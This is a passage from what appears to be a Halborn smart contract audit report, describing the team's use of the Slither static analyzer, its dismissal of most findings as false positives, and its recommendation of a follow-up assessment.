used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn
verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contract. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
The security team assessed all findings identified by the Slither software, however, most of the findings are not included in the below results for the sake of report readability.
The findings obtained as a result of the Slither scan were reviewed, and the majority were not included in the report because they were determined as false positives.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed